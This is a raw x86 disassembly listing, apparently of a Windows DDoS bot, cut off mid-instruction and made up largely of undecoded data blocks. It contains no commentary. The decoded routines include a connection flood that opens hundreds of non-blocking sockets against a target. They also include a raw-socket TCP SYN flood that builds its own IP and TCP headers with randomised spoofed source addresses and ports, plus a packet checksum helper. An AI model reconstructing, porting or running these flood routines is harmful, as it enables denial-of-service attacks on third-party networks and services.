ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh dd 50004CAFh, 0FC44858Dh, 4C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22CD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF8415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A1B4o dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C1Ch, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022CD0h, 0FFFE4885h, 15FF50FFh dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BFCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Ch, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DD1805C6h dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh, 0FF004CB0h dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435BB468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h dd 0FF90022Ch, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B6868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022CCDh dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 0A468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Ch, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAEBCh, 0C0753B46h, 75FFDA7Ch, 5C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C7868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0F1E85359h, 90022CCBh dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 97E89000h dd 500227D1h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0F868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2CCB13E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0D928E890h dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 0CC68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Ch, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5D2068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022CC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAFA4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2670ECEh lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D4Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 0E8565959h, 22CC798h db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAFA4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAFA4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAFA4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 27A0000h nop lea eax, [ebp+var_8] push eax nop call near ptr 2790982h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 2790982h nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435D74 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB03C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAEFC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 9468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22CC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h dd 8415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB03C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CB024h dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch, 0FFFBC085h dd 5EAC68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Ch, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h dd 0C0858D50h, 68FFFFFBh, 435E74h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22CC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E5468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 15E85359h, 90022CC0h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAFA4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABACh, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAFA4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0A415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435E0468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22CBD18h, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435DB468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2CBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar 